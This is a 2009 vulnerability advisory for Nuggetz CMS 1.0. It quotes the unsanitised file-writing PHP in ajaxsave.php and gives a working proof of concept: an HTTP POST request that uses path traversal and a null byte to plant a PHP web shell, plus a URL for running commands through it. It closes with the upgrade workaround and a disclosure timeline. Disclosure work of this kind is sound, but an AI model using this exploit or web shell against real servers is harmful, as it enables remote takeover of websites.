#######################################################################
	Remote Code Execution in Nuggetz CMS 1.0

	Name			Remote Code Execution in Nuggetz CMS
	Systems Affected	Nuggetz CMS 1.0
	site			http://www.nuggetz.co.uk/
	Author			Amol Naik (amolnaik4[at]gmail.com)
	Date			10/12/2009
#######################################################################


############
 OVERVIEW
############

Nuggetz CMS 1.0 is vulnerable to Remote Code Execution.

######################
 Technical Details
######################

Vulnerable file: ajaxsave.php
Vulnerable Code:

<?php
	$save = str_replace('\"','"',$_POST['pagevalue']);

	$nugget = $_GET['nugget'];

	$fhandle = fopen("../data/$nugget.nuggetz",'w');
	// Write some data
	fwrite($fhandle,$save);
	fclose($fhandle);
	print $save;
?>

This file is used to save any changes done in nugget. The parameter 'nugget' is used to call the file
for ex. support.nugget, which is at /web_dir/data/. The changed values are written back to the respective
nugget. The parameters 'pagevalue' and 'nugget' are not properly sanitized. It is possible to create/edit
files in the web server which leads to creating a new file with php command shell (RCE).

######
 PoC
######

The following request creates shell.php at /nuggetz/

POST /nuggetz/nuggetz/admin/ajaxsave.php?nugget=../../shell.php%00 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Cookie: PHPSESSID=4m2iiqdt0q38cna2iemtfel7p3
Content-Type: application/x-www-form-urlencoded
Content-Length: 45

pagevalue=<?php passthru($_GET['cmd']); ?>


Shell Access:
http://localhost/nuggetz/shell.php?cmd=dir

#############
 WorkAround
#############

Upgrade to Nuggetz 1.0.1
Download:
http://www.nuggetz.co.uk/nuggetz_v1.0.1.zip


############
 Reference
############

http://www.nuggetz.co.uk/versionhistory.htm


############
 TimeLine
############

Bug discovered 			: 09/12/2009
Informed Vendor			: 10/12/2009
Vendor released new version	: 10/12/2009
Public Disclosure		: 10/12/2009